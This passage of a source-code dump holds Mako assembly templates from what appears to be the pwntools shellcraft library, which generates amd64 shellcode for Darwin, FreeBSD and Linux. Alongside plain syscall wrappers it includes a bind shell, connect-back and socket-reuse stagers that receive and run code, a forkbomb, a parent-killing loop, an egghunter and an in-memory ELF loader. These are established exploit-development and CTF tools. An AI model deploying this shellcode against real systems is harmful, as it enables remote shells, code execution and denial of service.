constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lseek']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* lseek(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscalls/read.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>read(fd, buf, nbytes) -> str\n\nInvokes the syscall read.\n\nSee 'man 2 read' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    nbytes(size_t): nbytes\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, nbytes=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'nbytes']\n    argument_values = [fd, buf, nbytes]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_read']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* read(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/darwin/syscalls/write.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>write(fd, buf, n) -> str\n\nInvokes the syscall write.\n\nSee 'man 2 write' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n']\n    argument_values = [fd, buf, n]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_write']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* write(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/freebsd/__doc__",
    "content": "Shellcraft module containing Intel x86_64 shellcodes for FreeBSD.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/freebsd/amd64_to_i386.asm",
    "content": "<%docstring>Returns code to switch from amd64 to i386 mode. Trashes eax, ecx, edx.\n\nNote that you most surely want to set up some stack (and place this code)\nin low address space before (or afterwards).</%docstring>\n.code64\n    call $+4\n    .byte 0xc0  /* inc eax */\n    mov byte ptr [rsp+4], 0x33  /* This is the segment we want to go to */\n    retfd\n.code32\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/freebsd/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import amd64, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import freebsd_amd64_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(pwnlib.shellcraft.amd64.freebsd.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip())\n            /* call execve(1, 'rsp', 2, 0) */\n            push SYS_execve /* 0x3b */\n            pop rax\n            xor ecx, ecx /* 0 */\n            push 1\n            pop rdi\n            push 2\n            pop rdx\n            mov rsi, rsp\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.freebsd.syscall('SYS_execve', 2, 1, 0, -1).rstrip())\n            /* call execve(2, 1, 0, -1) */\n            push SYS_execve /* 0x3b */\n            pop rax\n            push -1\n            pop rcx\n            push 2\n            pop rdi\n            push 1\n            pop rsi\n            cdq /* rdx=0 */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.freebsd.syscall().rstrip())\n            /* call syscall() */\n            /* setregs noop */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.freebsd.syscall('rax', 'rdi', 'rsi').rstrip())\n            /* call syscall('rax', 'rdi', 'rsi') */\n            /* setregs noop */\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.freebsd.syscall('rbp', None, None, 1).rstrip())\n            /* call syscall('rbp', ?, ?, 1) */\n            mov rax, rbp\n            push 1\n            pop rdi\n            syscall\n        >>> print(pwnlib.shellcraft.amd64.freebsd.syscall(\n        ...               'SYS_mmap', 0, 0x1000,\n        ...               'PROT_READ | PROT_WRITE | PROT_EXEC',\n        ...               'MAP_PRIVATE | MAP_ANONYMOUS',\n        ...               -1, 0).rstrip())\n            /* call mmap(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -1, 0) */\n            push -1\n            pop r8\n            xor r9d, r9d /* 0 */\n            xor eax, eax\n            mov ax, SYS_mmap /* 0x1dd */\n            xor ecx, ecx\n            mov cx, (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x1002 */\n            xor edi, edi /* 0 */\n            push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */\n            pop rdx\n            mov esi, 0x1010101 /* 4096 == 0x1000 */\n            xor esi, 0x1011101\n            syscall\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers  = abi.register_arguments\n  arguments  = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  arguments  = iter(filter(lambda arg: arg is not None, arguments))\n  regctx     = dict(zip(registers, arguments))\n  stack_args = reversed(list(arguments)) # push remaining args on stack in reverse order\n%>\\\n    /* call ${syscall_repr} */\n    ${amd64.setregs(regctx)}\n%for arg in stack_args:\n    ${amd64.push(arg)}\n%endfor\n    syscall\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/infloop.asm",
    "content": "<%docstring>A two-byte infinite loop.</%docstring>\n    jmp $\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/itoa.asm",
    "content": "<%\nfrom pwnlib.shellcraft import pretty, common, registers\nfrom pwnlib.shellcraft.amd64 import mov, pushstr\nfrom pwnlib import constants\n%>\n<%docstring>\nConverts an integer into its string representation, and pushes it\nonto the stack.\n\nArguments:\n    v(str, int):\n        Integer constant or register that contains the value to convert.\n    alloca\n\nExample:\n\n    >>> sc = shellcraft.amd64.mov('rax', 0xdeadbeef)\n    >>> sc += shellcraft.amd64.itoa('rax')\n    >>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)\n    >>> run_assembly(sc).recvuntil(b'\\x00')\n    b'3735928559\\x00'\n</%docstring>\n<%page args=\"v, buffer='rsp', allocate_stack=True\"/>\n<%\nitoa_loop = common.label('itoa_loop')\nsize_loop = common.label('size_loop')\nassert v in registers.amd64\n%>\\\n    /* atoi(${pretty(v,0)}) */\n%if allocate_stack and buffer=='rsp':\n    sub rsp, 0x10\n%endif\n## We need to know how long the string is, in order for\n## the beginning of the string to be *exactly* at rsp.\n    ${mov('rdi', buffer)}\n    ${mov('rax', v)}\n    push rax /* save for later */\n    ${mov('rcx', 10)}\n${size_loop}:\n    ${mov('rdx', 0)}\n    div rcx\n    stosb\n    test rax, rax\n    jnz ${size_loop}\n## null terminate\n    std\n    stosb\n## Now we begin the actual division process\n    pop rax\n ${itoa_loop}:\n    ${mov('rdx', 0)}\n## rcx is already 10\n    div rcx\n    add  dl, ${ord('0')}\n    mov  BYTE PTR [rdi], dl\n    dec  rdi\n    test rax, rax\n    jnz  ${itoa_loop}\n    cld\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/__doc__",
    "content": "Shellcraft module containing Intel x86_64 shellcodes for Linux.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/amd64_to_i386.asm",
    "content": "<%docstring>Returns code to switch from amd64 to i386 mode. Trashes eax, ecx, edx.\n\nNote that you most surely want to set up some stack (and place this code)\nin low address space before (or afterwards).</%docstring>\n.code64\n    call $+4\n    .byte 0xc0  /* inc eax */\n    mov byte ptr [rsp+4], 0x23  /* This is the segment we want to go to */\n    retfd\n.code32\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/bindsh.asm",
    "content": "<% from pwnlib.shellcraft.amd64.linux import listen, dupsh%>\n<%page args=\"port, network='ipv4'\"/>\n<%docstring>\n    bindsh(port,network)\n\n    Listens on a TCP port and spawns a shell for the first to connect.\n    Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.\n</%docstring>\n${listen(port, network)}\n${dupsh('rax')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/cat.asm",
    "content": "<%\n  from pwnlib.shellcraft.amd64 import syscall, pushstr\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\n</%docstring>\n\n    ${pushstr(filename)}\n    ${syscall('SYS_open', 'rsp', 'O_RDONLY', 'rdx')}\n    ${syscall('SYS_sendfile', fd, 'rax', 0, 0x7fffffff)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/cat2.asm",
    "content": "<%\n  from pwnlib.shellcraft.amd64 import syscall, pushstr\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n</%docstring>\n\n    ${pushstr(filename)}\n    ${syscall('SYS_open', 'rsp', 'O_RDONLY', length)}\n    sub rsp, rdx\n    ${syscall('SYS_read', 'rax', 'rsp', 'rdx')}\n    ${syscall('SYS_write', fd, 'rsp', 'rax')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/connect.asm",
    "content": "<%\nfrom pwnlib.shellcraft.amd64 import pushstr\nfrom pwnlib.shellcraft.amd64.linux import socket, syscall\nfrom pwnlib.util.net import sockaddr\n%>\n\n<%page args=\"host, port, network = 'ipv4'\"/>\n<%docstring>\n    Connects to the host on the specified port.\n    Network is either 'ipv4' or 'ipv6'.\n    Leaves the connected socket in rbp.\n</%docstring>\n<%\n    sockaddr, addr_len, address_family = sockaddr(host, port, network)\n%>\\\n    /* open new socket */\n    ${socket(network)}\n\n    /* Put socket into rbp */\n    mov rbp, rax\n\n    /* Create address structure on stack */\n    ${pushstr(sockaddr, False)}\n\n    /* Connect the socket */\n    ${syscall('SYS_connect', 'rbp', 'rsp', addr_len)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/connectstager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.amd64 import linux %>\n<%docstring>\nconnect recvsize stager\nArgs:\n    host, where to connect to\n    port, which port to connect to\n    network, ipv4 or ipv6? (default: ipv4)\n</%docstring>\n<%page args=\"host, port, network = 'ipv4'\"/>\n\n${linux.connect(host, port, network)}\n${linux.recvsize('rbp', 'rcx')}\n${linux.stager('rdi', 'rcx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/dupio.asm",
    "content": "<% from pwnlib.shellcraft import common, amd64 %>\n<%page args=\"sock = 'rbp'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = rbp]\n    Duplicates sock to stdin, stdout and stderr\n</%docstring>\n<%\n  looplabel = common.label(\"loop\")\n%>\n\n    /* dup() file descriptor ${sock} into stdin/stdout/stderr */\n    ${amd64.setregs({'rdi': sock, 'rsi': 2})}\n${looplabel}:\n    ${amd64.linux.dup2('rdi', 'rsi')}\n    dec rsi\n    jns ${looplabel}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/dupsh.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.amd64 import linux %>\n<%page args=\"sock = 'rbp'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = rbp]\n    Duplicates sock to stdin, stdout and stderr and spawns a shell.\n</%docstring>\n\n\n${linux.dupio(sock)}\n\n${linux.sh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/echo.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%page args=\"string, sock = '1'\"/>\n<%docstring>Writes a string to a file descriptor</%docstring>\n\n${amd64.pushstr(string, append_null = False)}\n${amd64.linux.syscall('SYS_write', sock, 'rsp', len(string))}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/egghunter.asm",
    "content": "<%\nfrom pwnlib.shellcraft import amd64, pretty, common\nfrom pwnlib.util.packing import pack, unpack\nfrom pwnlib.util.lists import group\nfrom pwnlib import constants, log\n%>\n<%page args=\"egg, start_address = 0x7efc00000000, stride = 0x10000\"/>\n<%docstring>\negghunter(egg, start_address = 0)\n\nSearches memory for the byte sequence 'egg'.\n\nReturn value is the address immediately following the match,\nstored in RDI.\n\nArguments:\n    egg(str, int): String of bytes, or word-size integer to search for\n    start_address(int): Where to start the search\n</%docstring>\n<%\negghunter_loop = common.label('egghunter_loop')\nmemcmp         = common.label('egghunter_memcmp')\ndone           = common.label('egghunter_done')\nnext_page      = common.label('egghunter_nextpage')\n\negg_str = egg\nif isinstance(egg, int):\n    egg_str = pack(egg, bytes=4)\n\nif len(egg_str) % 4:\n    log = log.getLogger('pwnlib.shellcraft.templates.amd64.linux.egghunter')\n    log.error(\"Egg size must be a multiple of four bytes\")\n%>\n    cld\n    ${amd64.pushstr(egg_str, False)}\n% if start_address:\n    ${amd64.mov('rbx', start_address)}\n% endif\n\n## Search for pages\n${egghunter_loop}:\n    ${amd64.linux.access('rbx', 0)}\n\n## EFAULT == Bad address\n    cmp al, (-${pretty(constants.EFAULT)}) & 0xff\n    jz ${next_page}\n\n## We found a page, scan all of the DWORDs\n    ${amd64.mov('rdx', 0x1000 // 4)}\n${memcmp}:\n    test rdx, rdx\n    jz   ${next_page}\n\n## Scan forward by DWORD\n    ${amd64.setregs({'rsi':'rsp',\n                    'rdi':'rbx',\n                    'rcx': len(egg_str) // 4})}\n## Success?\n    repe cmpsd\n    jz ${done}\n\n## Increment the starting point, decement the counter, restart\n    add rbx, 4\n    dec rdx\n    jnz ${memcmp}\n\n${next_page}:\n## Next page\n    or   bx, 0xfff\n    inc rbx\n    jmp ${egghunter_loop}\n${done}:\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/findpeer.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft import amd64 %>\n<% from socket import htons %>\n<%page args=\"port = None\"/>\n<%docstring>\nArgs: port (defaults to any port)\n    Finds a socket, which is connected to the specified port.\n    Leaves socket in RDI.\n</%docstring>\n<%\n  findpeer = common.label(\"findpeer\")\n  looplabel = common.label(\"loop\")\n%>\n\n${findpeer}:\n    /* File descriptor in rdi */\n    ${amd64.mov('rdi', -1)}\n    /* struct sockaddr * in rsi */\n    mov rsi, rsp\n    /* Size of address structure */\n    ${amd64.push(32)}\n\n${looplabel}:\n    /* Next file descriptor */\n    inc rdi\n    /* See if it is a valid socket */\n    ${amd64.linux.syscall('SYS_getpeername', 'rdi', 'rsi', 'rsp')}\n\n    /* Was it successful? */\n    test eax, eax\n\n    /* No? Try the next */\n    jnz ${looplabel}\n\n%if not port is None:\n    /* Check if port is right */\n    lea rax, [rsp + 10]\n    mov ax, [rax]\n    cmp ax, ${htons(int(port))}\n    jne ${looplabel}\n%endif\n    /* Socket found, it is in RDI */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/findpeersh.asm",
    "content": "<% from pwnlib.shellcraft.amd64 import linux %>\n<%page args=\"port = None\"/>\n<%docstring>\nArgs: port (defaults to any)\n    Finds an open socket which connects to a specified\n    port, and then opens a dup2 shell on it.\n</%docstring>\n\n\n${linux.findpeer(port)}\n\n${linux.dupsh(\"rdi\")}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/findpeerstager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.amd64 import linux %>\n<%docstring>\nFindpeer recvsize stager\nArgs:\n    port, the port given to findpeer (defaults to any)\n</%docstring>\n<%page args=\"port = None\"/>\n\n${linux.findpeer(port)}\n${linux.recvsize('rdi', 'rcx')}\n${linux.stager('rdi', 'rcx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/forkbomb.asm",
    "content": "<%\n    from pwnlib.shellcraft.amd64.linux import fork\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nPerforms a forkbomb attack.\n</%docstring>\n<%\n    dosloop = label('fork_bomb')\n%>\n${dosloop}:\n    ${fork()}\n    jmp ${dosloop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/forkexit.asm",
    "content": "<%\n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft.amd64.linux import fork, exit\n%>\n<%page args=\"\"/>\n<%docstring>\nAttempts to fork.  If the fork is successful, the parent exits.\n</%docstring>\n<%\ndont_exit = common.label('forkexit')\n%>\n    ${fork()}\n    cmp rax, 1\n    jl ${dont_exit}\n    ${exit(0)}\n${dont_exit}:\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/getpid.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>Retrieve the current PID</%docstring>\n\n${amd64.linux.syscall('SYS_getpid')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/killparent.asm",
    "content": "<%\n    from pwnlib.shellcraft.amd64.linux import getppid, kill\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nKills its parent process until whatever the parent is (probably init)\ncannot be killed any longer.\n</%docstring>\n<%\n    killparent_loop = label('killparent')\n%>\n${killparent_loop}:\n    ${getppid()}\n    ${kill('eax')}\n    test eax, eax\n    jz ${killparent_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/listen.asm",
    "content": "<% from pwnlib.shellcraft import amd64, common %>\n<% from socket import htons %>\n<%page args=\"port, network='ipv4'\"/>\n<%docstring>\n    listen(port,network)\n\n    Listens on a TCP port, accept a client and leave his socket in RAX.\n    Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.\n</%docstring>\n%if network == 'ipv4':\n    ${amd64.linux.syscall('SYS_socket', 'AF_INET', 'SOCK_STREAM', 0)}\n    /* Build sockaddr_in structure */\n    push rdx\n    ${amd64.mov('rdx', 'AF_INET | (%d << 16)' % htons(port))}\n    push rdx\n    /* rdx = sizeof(struct sockaddr_in6) */\n    ${amd64.mov('rdx', 16)}\n%else:\n    ${amd64.linux.syscall('SYS_socket', 'AF_INET6', 'SOCK_STREAM', 0)}\n    /* Build sockaddr_in6 structure */\n    push rdx\n    push rdx\n    ${amd64.mov('rdx', 'AF_INET6 | (%d << 16)' % htons(port))}\n    push rdx\n    /* rdx = sizeof(struct sockaddr_in6) */\n    ${amd64.mov('rdx', 28)}\n%endif\n    /* Save server socket in rbp */\n    mov rbp, rax\n    ${amd64.linux.syscall('SYS_bind', 'rax', 'rsp', 'rdx')}\n    ${amd64.linux.syscall('SYS_listen', 'rbp', 1)}\n    ${amd64.linux.syscall('SYS_accept', 'rbp', 0, 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/loader.asm",
    "content": "<%\n    from pwnlib.shellcraft.amd64.linux import exit as exit\n    from pwnlib.shellcraft.amd64.linux import mmap\n    from pwnlib.shellcraft.amd64 import setregs, pushad, popad\n\n    from pwnlib.shellcraft import common\n    from pwnlib.util.packing import unpack\n%>\n<%page args=\"address\"/>\n<%docstring>\nLoads a statically-linked ELF into memory and transfers control.\n\nArguments:\n    address(int): Address of the ELF as a register or integer.\n</%docstring>\n<%\nelf_magic = unpack(b'\\x7fELF', 32)\ndie       = common.label('die')\nload_one  = common.label('load_one')\nnext_phdr = common.label('next_phdr')\n\"\"\"\nElf64_Ehdr\n    +0x0000 e_ident              : unsigned char [16]\n    +0x0010 e_type               : Elf64_Half\n    +0x0012 e_machine            : Elf64_Half\n    +0x0014 e_version            : Elf64_Word\n    +0x0018 e_entry              : Elf64_Addr\n    +0x0020 e_phoff              : Elf64_Off\n    +0x0028 e_shoff              : Elf64_Off\n    +0x0030 e_flags              : Elf64_Word\n    +0x0034 e_ehsize             : Elf64_Half\n    +0x0036 e_phentsize          : Elf64_Half\n    +0x0038 e_phnum              : Elf64_Half\n    +0x003a e_shentsize          : Elf64_Half\n    +0x003c e_shnum              : Elf64_Half\n    +0x003e e_shstrndx           : Elf64_Half\n\nElf64_Phdr\n    +0x0000 p_type               : Elf64_Word\n    +0x0004 p_flags              : Elf64_Word\n    +0x0008 p_offset             : Elf64_Off\n    +0x0010 p_vaddr              : Elf64_Addr\n    +0x0018 p_paddr              : Elf64_Addr\n    +0x0020 p_filesz             : Elf64_Xword\n    +0x0028 p_memsz              : Elf64_Xword\n    +0x0030 p_align              : Elf64_Xword\n\"\"\"\ne_entry  = 0x0018\ne_phoff  = 0x0020\ne_phnum  = 0x0038\ne_phentsize = 0x0036\np_type   = 0x0000\np_offset = 0x0008\np_vaddr  = 0x0010\np_filesz = 0x0020\np_memsz  = 0x0028\n\n\nPT_LOAD  = 1\n%>\n\n    ${setregs({'rsi': address})}\n\n    /* Check the ELF header */\n    mov  eax, dword ptr [rsi]\n    cmp  rax, ${elf_magic}\n    jnz  ${die}\n\n    /* Discover program headers */\n    mov rax, rsi\n    xor rbx, rbx\n    mov ebx, dword ptr ${e_phoff}\n    add rax, rbx\n    mov rax, [rax]\n    add rax, rsi /* rax = &program headers */\n\n    mov rbx, rsi\n    add rbx, ${e_phentsize}\n    movzx rbx, word ptr [rbx]  /* rbx = sizeof(program header) */\n\n    mov rcx, rsi\n    add rcx, ${e_phnum}\n    movzx rcx, word ptr [rcx] /* rcx = # of program headers */\n\n1:\n    /* For each section header, mmap it to the desired address */\n    push rsi\n    push rcx\n    push rbx\n    push rax\n    call ${load_one}\n    pop  rax\n    pop  rbx\n    pop  rcx\n    pop  rsi\n    add  rax, rbx\n    loop 1b\n\n    /* Everything is loaded and RWX.  Find the entry point and call it */\n    mov rax, rsi\n    add rax, ${e_entry}\n    mov rax, [rax]\n\n    /* Set up the fake stack.\n    /* AT_NULL */\n    xor rbx, rbx\n    push rbx\n    push rbx\n    /* AT_RANDOM */\n    push rsp\n    push 25\n\n    push rbx /* envp */\n    push rbx /* argv */\n    push rbx /* argc */\n\n    /* Invoke the entry point */\n    jmp rax\n\n${load_one}:\n    push rbp\n    mov  rbp, rsp\n\n    /* If it's not a PT_LOAD header, don't care */\n    mov rbx, rax\n    /* add rbx, ${p_type} == zero */\n    cmp dword ptr [rbx], ${PT_LOAD}\n    jnz ${next_phdr}\n\n    /* Get the destination address into rdi */\n    mov rdi, rax\n    add rdi, ${p_vaddr}\n    mov rdi, [rdi]\n\n    /* Get the size to mmap into rbx */\n    mov rbx, rax\n    add rbx, ${p_memsz}\n    mov rbx, [rbx]\n    shr rbx, 12\n    inc rbx\n\n    /* We can't move the program break with brk(),\n       so we basically have to fake it.  Allocate\n       more space than we ever expect the heap to\n       need, by over-allocating space by 8x */\n    shl rbx, 12 + 4\n\n    /* Map the page in */\n    ${pushad()}\n    ${mmap('rdi', 'rbx', 'PROT_READ|PROT_WRITE|PROT_EXEC', 'MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED', 0, 0)}\n    /* Ignore failure */\n    ${popad()}\n\n    /* Get the source address into rsi */\n    mov rbx, rax\n    add rbx, ${p_offset}\n    mov rbx, [rbx]\n    add rsi, rbx\n\n    /* Get the number of bytes into rcx */\n    mov rcx, rax\n    add rcx, ${p_filesz}\n    mov rcx, [rcx]\n\n    /* Copy the data */\n    cld\n    rep movsb [rdi], [rsi]\n\n${next_phdr}:\n    mov rsp, rbp\n    pop rbp\n    ret\n\n${die}:\n    ${exit(1)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/linux/loader_append.asm",
